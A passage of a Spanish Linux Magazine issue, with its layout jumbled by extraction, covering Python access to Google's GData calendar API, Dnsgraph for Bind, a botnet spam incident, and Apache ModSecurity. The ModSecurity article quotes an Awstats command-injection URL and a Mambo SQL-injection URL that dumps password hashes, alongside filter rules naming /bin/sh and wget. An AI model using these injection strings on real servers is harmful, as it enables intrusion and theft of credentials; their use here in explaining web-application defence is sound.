038 self.passwd = passwd

039 self.source = source

040

041

042 def client_login(self):

043 “””

044 Hace uso del método ClientLogin

para identificarse.

045 “””

046 params =

urllib.urlencode({‘Email’:

self.email,

047 ‘Passwd’: self.passwd,

048 ‘source’: self.source,

049 ‘service’: ‘cl’})

050 try:

051 f =

urllib2.urlopen(self.login_url,

params)

052 for line in f:

053 if line.startswith(‘Auth’):

054 return line.split(‘=’)[1]

055 except urllib2.HTTPError:

056 raise LoginError(‘Error de

autentificación’)

057

058 def write_entry(self, entry):

059 id = self.client_login()

060 if id:

061 r =

urllib2.Request(url=self.feed_url

, data=entry)

062 r.add_header(‘Authorization’,

‘GoogleLogin auth=%s’%id)

063 r.add_header(‘Content-Type’,

‘application/atom+xml’)

064 opener =

urllib2.build_opener(GDataRedirec

tHandler())

065 f = opener.open(r)

066 print f.info()

067 print ‘-’ * 80

068 print f.read()

069

070

071 def list_calendars(self):

072 id = self.client_login()

073 if id:

074 r =

urllib2.Request(url=self.calendar

_url + self.email)

075 r.add_header(‘Authorization’,

‘GoogleLogin auth=%s’%id)

076 opener =

urllib2.build_opener(GDataRedirec

tHandler())

077 f = opener.open(r)

078 print f.info()

079 print ‘-’ * 80

080 print f.read()

081

082

083 def list_entry(self):

084 id = self.client_login()

085 if id:

086 r =

urllib2.Request(url=self.feed_url

)

087 r.add_header(‘Authorization’,

‘GoogleLogin auth=%s’%id)

088 opener =

urllib2.build_opener(GDataRedirec

tHandler())

089 f = opener.open(r)

090 print f.info()

091 print ‘-’ * 80

092 print f.read()

093

094

095 def update_entry(self, eid,

entry):

096 id = self.client_login()

097 if id:

098 r = urllib2.Request(url=eid,

data=entry)

099

r.add_header(‘Authorization’,‘Goo

gleLogin auth=%s’%id)

100 r.add_header(‘Content-Type’,

‘application/atom+xml’)

101

r.add_header(‘X-HTTP-Method-Overr

ide’, ‘PUT’)

102 opener =

urllib2.build_opener(GDataRedirec

tHandler())

103 f = opener.open(r)

104

105

106 def delete_entry(self, eid):

107 id = self.client_login()

108 if id:

109 r = urllib2.Request(url=eid,

data=’’)

110 r.add_header(‘Authorization’,

‘GoogleLogin auth=%s’%id)

111

r.add_header(‘X-HTTP-Method-Overr

ide’, ‘DELETE’)

112 opener =

urllib2.build_opener(GDataRed

irectHandler())

113 f = opener.open(r)

Listado 2:PyGData.py

HTTP PUT sobre la dirección URL del enlace

de edición, pero si estamos delante de uno de

estos proxys podremos emitir un comando

POST e indicar la operación PUT dentro de la

cabecera ‘X-HTTP-Method-Override’. Hay que

tener cuidado en un aspecto. Para la modifica-

ción del evento hay que enviar el XML con

todos los campos originales del mismo, no

sólo los que van a ser modificados. Un ejem-

plo del procedimiento de comunicación HTTP

por medio de la cabecera ‘X-HTTP-Method-

Override’ lo podemos encontrar en los méto-

dos update_entry() y delete_entry() del Lis-

tado 2.

VictoriaLa alternativa a SOAP que propone

GData y su arquitectura basada en REST

suponen una clara simplificación en el

acceso a servicios web. Con un simple

wget podemos empezar a realizar scripts

bash, python o perl para el acceso a

dichos servicios, sin necesidad de depen-

der de ninguna librería externa. Para los

accesos autentificados necesitamos crear

nuevas cabeceras HTTP, pero hasta con

aplicaciones en línea de comando como

curl, y mediante el uso del parámetro -d

para el envío de parámetros de formula-

rio, y de -H para la inserción de nuevas

entradas de cabecera, podremos tener

acceso a toda la funcionalidad que pro-

porciona el protocolo GData. Natural-

mente todo el proceso se simplifica si

tenemos la oportunidad de hacer uso de

algún lenguaje más sencillo que bash.

Los trozos de código mostrados en el Lis-

tado 2 pueden ser el germen del proyecto

PyGData para el acceso al protocolo

GData desde Python. De hecho, la com-

plejidad de un proyecto como éste no

está en la implementación del protocolo,

sino en el API que se ha de proporcionar

para la construcción de los documentos

XML Atom. Y es precisamente en lo que

estoy trabajando ahora mismo ¿me ayu-

das? �

contiene una URL a un documento HTML

normal y corriente, que muestra el contenido

de los distintos campos de este evento. Pode-

mos comprobarlo copiando y pegando esa

dirección en nuestro navegador. Cuando

rel=’edit’, la URL asociada tiene una utilidad

muy interesante. Esta URL es igual a la del

enlace de tipo self pero que tiene añadido un

número largo al final de la misma. Este

número es un identificador de versión del

evento, y se utiliza para lograr un acceso con-

currente al mismo desde varias aplicaciones

sin que exista riesgo de colisiones entre las

mismas. Con esta URL extendida podremos

realizar las operaciones de borrado y actuali-

zación del evento. Por tanto, necesitaremos

consultar este valor dentro del documento

XML de un evento dado antes de proceder a

su eliminado o modificación.

Eliminar un evento es sencillo. Es suficiente

con enviar el comando HTTP DELETE a la

URL almacenada en el enlace de tipo edit con

la cabecera de autorización de Google, y tratar

su correspondiente redirección por medio del

código HTTP 302. Ya está. Los problemas apa-

recen cuando estamos conectados por medio

de algún proxy que no acepte, por razones de

seguridad, comandos HTTP diferentes de GET

y POST. En estos casos Google proporciona la

siguiente alternativa. Emitimos un comando

POST con un valor para la cabecera ‘Content-

Length’ de 0 y, finalmente, creamos un nuevo

campo en la cabecera HTTP de tipo ‘X-HTTP-

Method-Override’ con el valor de la operación

que deseamos realizar (en este caso

‘DELETE’). Esta técnica se puede utilizar tam-

bién para la actualización de un evento. La

manera natural pasa por emitir un comando

DESARROLLO • GData

56 Número 22 W W W . L I N U X - M A G A Z I N E . E S

01 <entry

xmlns=’http://www.w3.org/2005/

Atom’

02

xmlns:gd=’http://schemas.googl

e.com/g/2005’>

03 <category

scheme=’http://schemas.google.

com/g/2005#kind’

04

term=’http://schemas.google.co

m/g/2005#event’></category>

05 <title type=’text’>Comida

LiMa</title>

06 <content type=’text’>Lasaña

con los socios de

LiMa</content>

07 <author>

08 <name>aplanas</name>

09

<email>[email protected]</emai

l>

10 </author>

11 <gd:transparency

12

value=’http://schemas.google.c

om/g/2005#event.opaque’ />

13 <gd:eventStatus

14

value=’http://schemas.google.c

om/g/2005#event.tentative’ />

15 <gd:where

16

value=’http://schemas.google.c

om/g/2005#event’

17 valueString=’La Caprichosa,

Campanillas’ />

18 <gd:where

19

value=’http://schemas.google.c

om/g/2005#event.parking’

20 valueString=’Campanillas’

/>

21 <gd:when

22

startTime=’2006-11-10T14:30:00

.000Z’

23

endTime=’2006-11-10T15:30:00.0

00Z’

24 valueString=’Cuando

siempre’ />

25 </entry>

Listado 3: Evento Atom XML

[1] Google SOAP Search API: http://code.

google.com/apis/soapsearch/

[2] PyGoogle: http://pygoogle.

sourceforge.net

[3] Dive Into Python: http://www.

diveintopython.org

[4] APIs de Google: http://code.google.

com/apis.html

[5] API de Calendar: http://code.google.

com/apis/gdata/calendar.html

[6] PyGData: http://code.google.com/p/

pygdata

[7] Google Calendar: http://www.google.

com/calendar/

[8] Formato Atom: http://tools.ietf.org/

html/rfc4287

[9] ClientLogin API: http://code.google.

com/apis/accounts/

AuthForInstalledApps.html

[10] Tipos de documentos: http://code.

google.com/apis/gdata/

common-elements.html

[11] Roy T. Fielding: :http://www.ics.uci.

edu/~fielding/

[12] GData: http://code.google.com/apis/

gdata/overview.html

RECURSOS

Recientemente he oído hablar

sobre un tipo con mucha memo-

ria que podía recordar el valor de

pi hasta varios miles de cifras decimales;

al mismo tiempo, este hombre no podía

explicar el valor práctico de este ejercicio.

Personas como ésta no necesitan un servi-

dor DNS; podrían memorizar algunos

miles de direcciones IPs, al contrario que

la gente normal, que prefiere el DNS. Si tú

mismo llevas un servicio de resolución de

nombres, estoy seguro de que apreciarás

Dnsgraph [1].

El nombre del proyecto es muy pare-

cido al de otros, como Mailgraph y

Queuegraph, estando actualmente basado

en Mailgraph. La herramienta analiza un

fichero de información generada por mi

servidor DNS Bind 9 [2] y convierte las

cifras en gráficos.

Para acceder a la información utilizo

Rndc, un programa de control del paquete

Bind que me permite enviar comandos

firmados digitalmente al servidor de nom-

bres. Esto me proporciona la habilidad de

decirle al servidor que escriba la informa-

ción de estado en un fichero, que

Dnsgraph puede procesar posteriormente.

También necesito la herramienta RRD y el

módulo Perl File::Tail.

Tiempo de ConfiguraciónMi fichero de configuración Bind,

named.conf, también tiene una sección

de options, como es típicamente el caso.

He añadido la siguiente línea:

statistics-file “/path_toU

/named-stats.log”;

y luego los bloques del Listado 1 permiten

la comunicaciones Rndc. Como contra-

punto, el Listado 2 pertenece al fichero de

configuración de Rndc, normalmente

/etc/rndc.conf. Esto permite a Rndc pasar

comandos a Bind. El siguiente comando:

rndc stats

le indica a Bind que cree el fichero de

registros previamente configurado y

añada alguna información.

Adaptación de Scripts aDnsgraphNecesito añadir la ruta al fichero de registros

o a RRD para dnsanalise.pl y dnsreport.pl.

En dnsgraph.pl, he de modificar la ruta de

salida (TARGET) y la ruta a los scripts de

Dnsgraph. La configuración final hace

referencia a los ficheros del cron. El

paquete viene con un fichero de ejemplo

del dnsgraph.cron, por lo que tendré que

modificar la ruta de entrada para que

coincida con la de mi entorno. El paso

final es lanzar el proceso de evaluación.

Quince minutos después, la herramienta

RRD me proporciona los resultados

(Figura 1). �

57

La Columna de Charly • ADMINISTRACIÓN

Número 22W W W . L I N U X - M A G A Z I N E . E S

[1] Dnsgraph: dnsgraph.sourceforge.net

[2] Bind: http://www.isc.org/index.pl?/sw/

bind/

RECURSOS

El Ataque de los Bots . . . . . . . . . .58

Aprenda cómo Charly se enfrenta a un

spamming botnet sin escrúpulos.

Apache ModSecurity . . . . . . . . . . 60

ModSecurity es un cortafuegos inte-

grado para los servidores web Apache.

SYSADMIN

Un servidor DNS sobrecargado puede retrasar todos los puestos de tra-

bajo de una red. Dnsgraph es un sistema de aviso que proporciona a los

administradores un gráfico de valores críticos. Sus diagramas le ayu-

darán a tener a punto sus sistemas servidores de nombres.

POR CHARLY KÜHNAST

El Día a Día del Administrador de Sistemas: Dnsgraph

GRÁFICOS MAESTROS

EL

AU

TO

R

Charly Kühnast es

Gerente de Sistemas

Unix en el centro de

datos de Moers, Ale-

mania, cerca del cono-

cido Rhin. Entre sus

labores se incluye la seguridad del cor-

tafuegos, la disponibilidad y cuidado

de la DMZ (zona desmilitarizada).

01 key “rndc-key” {

02 algorithm hmac-md5;

03 secret

“<I>secretpassword<I>”

04 };

05

06 controls {

07 inet 127.0.0.1 port 953

08 allow { 127.0.0.1; } keys

{ “rndc-key”; };

09 };

Listado 1: Añadir a named.conf

01 key “rndc-key2” {

02 algorithm hmac-md5;

03 secret

“<I>secretpassword<I>”;

04 };

05

06 options {

07 default-key “rndc-key”;

08 default-server 127.0.0.1;

09 default-port 953;

10 };

Listado 2: Configuración Rndc

Figura 1: Los administradores que ejecutan un servidor Bind apreciarán

cualquier información que Dnsgraph les proporcione.

Era un martes soleado de julio. Estaba

tranquilamente escribiendo mi

columna Sysadmin para Linux Maga-

zine. Son las 2:00 pm cuando le hecho un vis-

tazo al monitor que me ofrece la última infor-

mación de la carga y el tráfico de datos de los

servidores sensibles que administro. De bue-

nas a primeras, la línea de la gráfica de

rechazo del filtro de spam se disparó (véase la

Figura 1). El artículo tendrá que esperar.

El servidor estaba rechazando grandes can-

tidades de correos en una etapa temprana del

diálogo SMTP. Sospeché de una ola de spam

con direcciones falsificadas. Eso no es nada

nuevo, por cada email legítimo que recibo,

tengo como mínimo dos mails de spam. Pero

aún así decidí abrir una conexión SSH al filtro

antispam, que se ejecuta en otra máquina, y

no podía dar crédito cuando descubrí 140

conexiones SMTP paralelas. Eso es unas diez

veces el nivel habitual. Y es raro que el servi-

dor simplemente ignore las conexiones de esa

manera.

La curiosidad saca lo mejor de mí mismo, y

decidí echarle un vistazo al archivo de logs.

Como me esperaba, cada mensaje provenía

de una fuente distinta. Dos tercios de las direc-

ciones IP pertenecían a proveedores de acceso

de Europa, y el resto de EEUU y Brasil. Los

ordenadores proporcionaban amablemente

sus nombres en el mensaje HELO, y ni

siquiera parecía que fuera spoofing, lo cual es

realmente raro, ya que los HELOs falsificados

son la norma en spam.

Los Atacantes son VíctimasLancé un nmap y escaneé algunos puertos.

También ejecuté nmap con —osscan-guess

para descubrir los sistemas operativos de las

máquinas spammers. Lo que quería saber era

si eran relays abiertos, máquinas secuestradas,

servidores de correo mal configurados, servi-

dores Web infectados o simplemente ordena-

dores de usuarios con troyanos. La respuesta

de nmap fue clara: esta última opción. Las

máquinas que investigué funcionaban todas

bajo Windows XP, y nadie usa Windows XP

como servidor Web o de correo. Acababa de

conocer en mis carnes lo que es una red de

bots.

Una red de bots es un grupo de máquinas

independientes con una cosa en común: el

malware que los ha infectado permite a un

hacker controlarlos desde una ubicación

remota. A los ordenadores de una red de bots

se les denomina habitualmente leafbots o

zombies. Considerado individualmente, un

zombie no es demasiado dañino, pero juntos

pueden convertirse en un arma peligrosa.

ADMINISTRACIÓN • Bot Attack

Mientras realizaba sus tareas habituales, el colaborador de

Linux Magazine, Charly Kühnast fue víctima de un malvado

ataque. Su servidor antispam, ubicado como defensa ante su

servidor de correo, le salvó de la avalancha de emails.

POR CHARLY KÜHNAST

Una insidiosa red de bots spammers ataca a Charly

BOT ATTACK

W W W . L I N U X - M A G A Z I N E . E S58 Número 22

Afortunadamente la red de bots que me ata-

caba parecía tener apenas 200 máquinas.

Unas Palabras de NuestrosPatrocinadoresAún no había podido volver a ponerme a ter-

minar el artículo para Linux Magazine, pues

los intervalos en los que llegaba el spam se

estaban haciendo cada vez más cortos. Como

había restringido el número de procesos

SMTP simultáneos, existía el peligro de que

los correos auténticos no entrasen debido a la

falta de recursos para atenderlos. Le eché un

vistazo a la carga del sistema: el filtro antis-

pam aún tenía algo de margen. Eliminé el

límite, y la red de bots pisó a fondo el acelera-

dor: unos minutos más tarde ya tenía 580

conexiones SMTP simultáneas (véase la

Figura 2).

De algún modo estos correos estaban supe-

rando mi graylist. El graylist le indica al servi-

dor que rechaze un correo con un mensaje de

error (450 please try later) y que acepte los

correos al segundo intento.

Nótese que las redes de spam no tienen

normalmente una cola para guardar correo no

entregado temporalmente hasta un nuevo

intento. Parece que el graylistening se ha con-

vertido en algo tan común que los spammers

han empezado a pensar en cómo saltárselo. El

Listado 1 muestra el efecto que tuvo en mi

sitio. La línea 1 del archivo de log muestra

cómo un zombie se conecta a mi servidor.

greylist=update en la línea 2 muestra al zom-

bie intentándolo por segunda vez tras el

rechazo inicial de mi servidor con un mensaje

de error.

Verificación de la Direccióndel RemitenteVolvamos al log: el remitente infinito es siem-

pre el mismo, esto es, <>, remitente nulo. La

ventaja de esta dirección de remitente para el

spammer es que cualquier servidor de correo

que cumpla el RFC lo aceptará. Y muchas

medidas antispam que confían en verificar la

dirección del remitente, como el SAV (Sender

Address Verification), son inútiles si tenemos

un remitente nulo.

Pero las direcciones de destinatario que

enviaba la red de bots eran incluso más intere-

santes: ninguna existía, y todas ellas eran pala-

bras de algún dialecto Coptic ya extinto, o más

bien eran cadenas generadas aleatoriamente.

Esto explica por qué el filtro antispam descar-

taba los correos antes de que el diálogo SMTP

llegase a la fase del comando DATA. El filtro

lleva a cabo el Recipient Address Verification,

que es el complemento al SAV.

El Recipient Address Verification

se basa en un sencillo principio: si el

servidor de entrega cita la dirección

de destinatario en RCPT TO:, el filtro

antispam verifica primero a dónde

tiene que llegar el correo, es decir, a

mi servidor de correo (mail.kueh-

nast.com en la línea 3 del Listado 1).

Abre un diálogo SMTP y verifica la

respuesta a RCPT TO:. Esta es user

unknown en el caso de los zombies.

Esto causa que el filtro antispam fina-

lice el diálogo (línea 4), lo que se

refleja en la multitud de rechazos en

la gráfica.

Ahora comenzaba a comprender

por qué el filtro antispam estaba rela-

tivamente tranquilo, aunque tenía en

marcha 500 procesos SMTP. Nin-

guno de estos procesos realmente

conseguía entregar un correo, ya que el Reci-

pient Address Verification los estaba blo-

queando antes de esa etapa. Si hubiese ali-

mentado a Spamassassin con estos correos

antes de verificar la dirección de destino, el fil-

tro antispam habría mordido el polvo debido

al volumen de los correos entrantes. Mi con-

sejo a los administradores de correo: el Reci-

pient Address Verification hará tu vida algo

más tranquila.

InterceptoresDecidí capturar algunos de los correos

spam entrantes porque quería saber cuál

era el mensaje que ese ejército de bots

había intentado colar por mi filtro antis-

pam. Me esperaban las sandeces de cos-

tumbre más algún troyano disfrazado como

GIF o PDF. O los habituales anuncios de

ayudas para la erección, fiestas con drogas

o aumentos de pecho (desafortunada-

mente, parece que nadie ha descubierto el

tratamiento para las barrigas cerveceras).

Pero lo que encontré fue simplemente un

revoltijo de caracteres ASCII. O el spammer

estaba intentando cabrearme o realmente

no sabía lo que era MIME. Me imaginé que

era esto último, e incluso estaba conside-

rando pasar esa sopa de letras por un

decodificador Base64. Pero, ¿necesitaba

saber el precio del Viagra esa semana?

Pensé que era mejor que me concentrara

en el archivo de log y observar los

correos que salen del filtro antispam.

Siempre puedo terminar el artículo por la

noche. �

Bot Attack • ADMINISTRACIÓN

59Número 22W W W . L I N U X - M A G A Z I N E . E S

01 May 12 04:16:07 spamfilter2

postfix/smtpd[32629]: connect

from

hcm-ms-185.vnn.vn[203.162.4.185]

02

03 May 12 04:16:07 spamfilter2

policyd: rcpt=598727,

greylist=update,

host=203.162.4.185

(hcm-ms-185.vnn.vn),

04 from=<>,

[email protected],

size=5228

05

06 May 12 04:16:07 spamfilter2

postfix/smtpd[29010]: NOQUEUE:

reject: RCPT from

hcm-ms-185.vnn.vn[203.162.4.185]

:

07 550 <[email protected]>:

Recipient address rejected:

unverified address: host

mail.kuehnast.com[80.190.243.62]

said:

08 550 <[email protected]>:no

such user (in reply to RCPT TO

command); from=<>

to=<[email protected]>

09 proto=ESMTP

helo=<HCM-MS-185.vnn.vn>

10

11 May 12 04:16:07 spamfilter2

postfix/smtpd[32629]: disconnect

from

hcm-ms-185.vnn.vn[203.162.4.185]

Listado 1: Extracto del Archivo de Log

Figura 1: La línea de rechazo en la gráfica del filtro

antispam se dispara de repente. Estaba siendo ata-

cado por un ejército de spambots.

Figura 2: Tras eliminar el límite SMTP, los zombies

intensificaron el ataque al servidor. loadavg marca

0.3 y todo está correcto.

La programación limpia de aplicaciones

web proporciona una vía para impedir esta

clase de abuso, pero el camino está plagado

de dificultades. Incluso los programadores

más experimentados son cogidos de vez en

cuando, ya que las vulnerabilidades en las

aplicaciones web están ocultas a la espera de

surgir antes o después.

El módulo ModSecurity de Apache [1] pro-

porciona validación y una protección mejo-

rada (Figura 1). El módulo es básicamente

una aplicación cortafuegos web disponible

tanto como un módulo de Apache como una

aplicación independiente (GPL con posibili-

dad de soporte comercial). El módulo valida

las peticiones entrantes antes de pasarlas a los

scripts apropiados basándose para ello en las

reglas especificadas dentro de un conjunto de

éstas. Como en los ficheros de patrones utili-

zados por los programas antivirus, las reglas

contienen las firmas de las técnicas de ata-

ques típicas.

Si una petición se

corresponde con

una de las firmas, el

mecanismo especifi-

cado por la regla se

ejecuta. Puede tra-

tarse simplemente del

bloqueo de la peti-

ción o del reenvío de

la misma otra página

web. El módulo pro-

porciona una protec-

ción efectiva contra los

ataques tales como la

Inyección de Comandos

del Sistema Operativo, XSS/

Cross-Site Scripting e Inyección SQL.

El Peligro desde elExteriorEl principal peligro para los

servidores web, y por ello

la principal preocupa-

ción de los administradores, es la inyección

de comandos del sistema operativo en el

contexto del servidor web. En enero de 2005,

por ejemplo, los expertos en seguridad des-

cubrieron que la herramienta de estadísticas

web Awstats permitía a los usuarios inadver-

tidamente ejecutar comandos arbitrarios. La

cadena

awstats.pl?configdir=|echo;echo;ls%20-

la%20%2F;id;echo;echo ejecutaba el

comando ls -la en el servidor con los permi-

sos de Apache.

Darle a los atacantes la posibilidad de leer

información confidencial almacenada en un

servidor web puede ser fatal. El exploit que

tenía como objetivo al popular CMS Mambo,

descubierto en junio de 2005, introducía sen-

tencias SQL en la URL, provocando que la

aplicación web suministrase un listado de

todas las hash de las contraseñas de los

usuarios [7]. Entonces, un atacante podría

utilizar la lista para romper estas contrase-

ñas, posiblemente utilizando las tablas Rain-

bow (tablas con las hash precalculadas). La

siguiente URL revela las entradas de las con-

traseñas:

http://server/mamboU

/index.php?option=U

com_content&task=vote&id=U

%d&Itemid=%d&cid=1&user_rating=U

1,rating_count=(SELECT/**/ifU

((ascii(substring((SELECT/**U

/password/**/FROM/**/mos_usersU

La mayoría de los servidores web

comerciales sirven contenido diná-

mico generado por scripts. La natura-

leza de Internet permite que un visitante

desconocido desde cualquier parte del

mundo pueda acceder al sitio web. Desafor-

tunadamente, toda esta interacción entre el

visitante y la aplicación web abre una posi-

ble vía de ataque. Un atacante con las habi-

lidades adecuadas podría utilizar una vul-

nerabilidad para obtener un acceso no auto-

rizado al servidor web y, una vez dentro, el

intruso podría emplear herramientas adicio-

nales y trucos para realizar acciones que ni

a los desarrolladores ni a los webmasters se

les hubiera ocurrido probar nunca. El

potencial de daño es enorme, desde la expo-

sición de ficheros con contenidos confiden-

ciales a comprometer completamente la

cuenta del root.

ADMINISTRACIÓN • Apache ModSecurity

El módulo de Apache ModSecurity proporciona una protección extra para el servidor web. Vamos a

mostrar por qué esta aplicación de cortafuegos opcional está convirtiéndose rápidamente en la favorita de

los webmasters y de los expertos en seguridad. POR HANS KASPARICK

Una Protección Mejor con el Módulo de Apache ModSecurity

PERRO GUARDIÁN

ID Use

0-99,999 #Local - Reglas propias

100,000-199,999 #Reservado para Mod

Security

200,000-299,999 #Reservado para las

reglas publicadas en

www.ModSecurity.org

300,000-; No asignado

Tabla 1: Identificadoresde Reglas

W W W . L I N U X - M A G A Z I N E . E S60 Número 22

/**/WHERE/**/id=%d),%d,1)))%s,U

1145711457,0))[...]

La sentencia SQL incluida en esta larga

cadena es: SELECT password FROM

mos_user WHERE id=User-ID. La regla

ModSecurity SecFilterSelective ARGS

“select.+from” captura este ataque

detectando la cadena select y from como

característica del ataque y éste fracasa

(Figura 2). Lo que conseguiría ver el ata-

cante es el mensaje 403 de Apache For-

bidden: You don’t have permission to

access (Prohibido: No tiene permiso de

acceso).

Los ataques “cross-site scripting” son

una gran amenaza para los usuarios de

Internet. “Cross-site scripting” hace que

el atacante ejecute scripts maliciosos en

la máquina de la víctima para acceder a

sus cookies, por ejemplo. Ante esto, es

lógico que se filtren los comandos

<script> de las peticiones GET y POST.

Como el desarrollo del módulo ModSe-

curity está progresando rápidamente, los

administradores que planeen utilizarlo

están bien avisados para que comprue-

ben el sitio web perteneciente al autor de

ModSecurity [1]. Este es el lugar al que

acudir a por actualizaciones sobre el pro-

yecto ModSecurity Rule Sets [2] (Con-

juntos de Reglas de ModSecurity), por

ejemplo.

Para la mayoría de las distribuciones

se encuentran disponibles paquetes

binarios de ModSecurity listos para ser

ejecutados. Los usuarios de Debian pue-

den ejecutar el comando aptitude install

libapache2-mod-security para instalar el

paquete en sus sistemas; si se tiene Fre-

eBSD, pkg_add -r mod_security tendrá el

mismo efecto. Tras completar la instala-

ción, se introduce a2enmod mod-security

en Debian para cargar el módulo; Fre-

eBSD lo hace automáticamente. Este artí-

culo está basado en ModSecurity 1.9.2,

aunque la popular versión 1.8.7 posee la

mayoría de las características que se

mencionan aquí.

Primeros PasosLa entrada [Fri Feb 24 11:55:12 2006]

[notice] mod_security/1.9.2 configured en

el fichero error.log de Apache indica que

el módulo ha sido instalado correcta-

mente. Para probar si está funcionando,

todo lo que se necesita es un conjunto de

reglas sencillas (Listado 1). La primera

línea habilita el motor del filtro; la

segunda define las acciones y la tercera

comprueba el contenido para la cadena

que sigue, /bin/sh en este caso. Para

mantenerlo legible, es conveniente alma-

cenar los conjuntos de reglas en ficheros

separados y utilizar include para usarlos

en apache2.conf. Los parámetros extendi-

dos en la directiva Sec Filter son nuevos

para la versión 1.9 y no son soportados

por la 1.8. Si se tiene la versión anterior,

habrá también que reemplazar SecFilter-

SignatureAction con SecFilterDefaultAc-

tion.

Llamando a la URL http://hostname/

index.php?a=/bin/sh en el navegador

web, se comprobará la regla. Si ésta fun-

ciona, el módulo bloqueará el acceso y

mostrará un mensaje Internal Server

Error. El fichero error.log debería conte-

ner lo siguiente:

[Fri Feb 24 14:25:12 2006] U

[error] [client 192.168.0.1] U

mod_security: Access U

denied with code 500.

Pattern match “/bin/sh” at U

REQUEST_URI [id “1001”] U

[rev “2”] [msg “/bin/sh attackU

attempt”] [severity “2”] U

[hostname “192.168.0.20”] U

[uri”/modsec/index.php?a=U

/bin/sh”]

Para hacérselo más fácil a los administrado-

res de sistemas que usen scripts para evaluar

Apache ModSecurity • ADMINISTRACIÓN

61Número 22W W W . L I N U X - M A G A Z I N E . E S

Listado 1: Reglas de Prueba

01 ## Enable ModSecurity

02 #SecFilterEngine On

03 ## Log faulty requests and deny

access

04 #SecFilterDefaultAction

“deny,log,status:403”

05 ## Log errors only

06 ## SecFilterDefaultAction

“pass,log”

07 #

08 ## Check POST data

09 #SecFilterScanPOST On

10 #

11 ## Check URL encoding

12 #SecFilterCheckURLEncoding On

13 #

14 ## Check Unicode encoding

15 #SecFilterCheckUnicodeEncoding On

16 #

17 ## Accept only Ascii characters 1

through 255

18 #SecFilterForceByteRange 1 255

19 #

20 ## Reduce server signature to a

minimum

21 #SecServerSignature “Apache”

22 #

23 ## Log relevant data only

24 #SecAuditEngine RelevantOnly

25 #SecAuditLog

/var/log/apache2/audit_log

26 #

27 ## Do not accept GET or HEAD

requests in the body

28 #SecFilterSelective

REQUEST_METHOD “^(GET|HEAD)$”

chain

29 #SecFilterSelective

HTTP_Content-Length “!^$”

30 #

31 ## Content length must be sent

with each POST request

32 #SecFilterSelective

REQUEST_METHOD “^POST$” chain

33 #SecFilterSelective

HTTP_Content-Length “^$”

34 #

35 ## Discard unknown transfer

encoding, with the exception of

GET,

36 ## as this can cause problems

with some clients

37 #SecFilterSelective

REQUEST_METHOD “!^(GET|HEAD)$”

chain

38 #SecFilterSelective

HTTP_Content-Type \

39

#”!(^application/x-www-formurlenc

oded$|^multipart/form-data;)”

40 #SecFilterSelective

HTTP_Transfer-Encoding “!^$”

01 #SecFilterEngine On

02 #SecFilterSignatureAction

log,deny,status:500

03 #SecFilter /bin/sh

“id:1001,rev:2,severity:2,msg

:’/bin/sh attack attempt’”

04 ## Regel für die Version 1.8:

05 ## SecFilter /bin/sh

Listado 2: Configuración Básica

de las peticiones legítimas. Para realizarlo se

puede utilizar una entrada SecFilterDefaultAction,

estableciendo los parámetros a pass, log.

En vez de devolver un mensaje de error 403

cuando se rompe alguna regla, ModSecurity per-

mitirá que se atienda la petición de cualquier

dirección o sitio web utilizando una entrada

como SecFilterDefaultAction

“deny,log,redirect:http://targetpage.com”. Los fil-

tros ayudan a definir el criterio que ModSecurity

aplica a las peticiones HTTP.

Los filtros siempre siguen el patrón de SecFilter

SearchCriterion y en la versión 1.9, el módulo

tiene unos cuantos parámetros adicionales para

el registro. ModSecurity distingue entre tres méto-

dos de filtros: simple (SecFilter wget), selectivo

(SecFilterSelective ARGS “union. +select”) y de

salida (SecFilterSelective OUTPUT “Fatal error:”,

deny,status:500).

Un filtro simple investigará siempre la petición

HTTP completa, mientras que uno selectivo tan

sólo investigará partes específicas de la petición.

Los filtros de salida analizan el contenido ser-

vido por el servidor web, impidiendo de este

modo que se muestre si fuera necesario. Un signo

de exclamación (!) invertirá una regla del filtro.

Por ejemplo, SecFilter !htm se aplica a cualquier

petición que no contenga la cadena html.

FiltrosLa forma más simple de política de filtrado es

SecFilter SearchPattern. La política de filtrado

SecFilter SearchPattern le indica a ModSecu-

rity que busque en todas las peticiones GET

y POST un patrón y dispare el conjunto de

acciones de la política por defecto en caso de

encontrar una entrada positiva.

Las claves de búsqueda pueden ser expre-

siones simples o expresiones regulares. Las

reglas de filtrado no se aplican directamente

a las peticiones, sino a una copia normali-

zada. Dicho de otro modo, los caracteres

codificados de manera especial (Unicode)

(véase “Los Peligros del Unicode”) se decodi-

fican primero y cualquier / de escape que no

sea necesaria se resuelve. Los ataques del

tipo Null Byte, cuyo objetivo son las vulnera-

bilidades de las aplicaciones de los servidores

programadas en C o C++, son evitados por

el filtro SecFilter hidden

El patrón de búsqueda que se ha visto

comprueba la petición HTTP completa. Esta

configuración podría ocasionar un gran

impacto en el rendimiento del sistema que se

puede aceptar. Una entrada del tipo SecFilter-

Selective Location SearchPattern Action per-

mite el filtrado de elementos específicos. La

localización puede ser cualquier variable

CGI. La documentación en línea proporciona

los posibles valores y explica cómo utilizar-

los.

Como ejemplo de uso de SecFilterSelective,

la siguiente sentencia encuentra todos los

intentos de acceso que no se originan desde

la dirección de red 192.168.0.0/24: SecFilter-

Selective “REMOTE_ADDR|REMOTE_HOST”

192.168.0.

En combinación con Apache 2, ModSecu-

rity puede filtrar la salida de los sitios webs.

Si un atacante consigue inyectar con éxito

código SQL malicioso que mostrase las con-

traseñas user_password de la base de datos,

el filtro SecFilterSelective OUTPUT

“user_password” deny,status:500 bloquearía

la salida y no se mostraría. Sin embargo, hay

que habilitar el filtrado de salida con SecFil-

terScanOutput On para hacer que funcione.

El filtrado de la salida está desactivado por

defecto y hay una buena razón para ello: la

sobrecarga de recursos que lleva asociada

este tipo de filtrado es considerable, ya que

ModSecurity comprueba cada contenido que

sirve el servidor Apache. El filtrado de salida

también puede provocar el riesgo de filtrar

inadvertidamente el contenido legítimo.

Si se necesitan proteger múltiples hosts

virtuales que realizan diversas tareas, puede

ser interesante el hecho de que ModSecurity

soporte la herencia de reglas por medio de

directorios. Las reglas de directorio tienen

preferencia sobre las reglas globales:

posteriormente los ficheros de registro, cada

regla debería tener un ID único: la Tabla 1

proporciona los espacios de nombres reser-

vados.

Registros CoordinadosLa forma más simple del registro tan sólo escribe

entradas en el fichero error.log del servidor web

Apache, aunque esta opción de escribir en el

registro de errores hace que sea más difícil el aná-

lisis posterior.

Una alternativa a esta solución de escribir en el

registro de errores, sería considerar la opción más

exhaustiva de registros de auditoría mostrado en

la Figura 3, la cual fue presentada con la versión

1.9 de ModSecurity. Entre otras cosas, la nueva

opción de registro de auditoría soporta la escritura

de los eventos en varios archivos de registros dife-

rentes, aunque para ello habrá que tener habili-

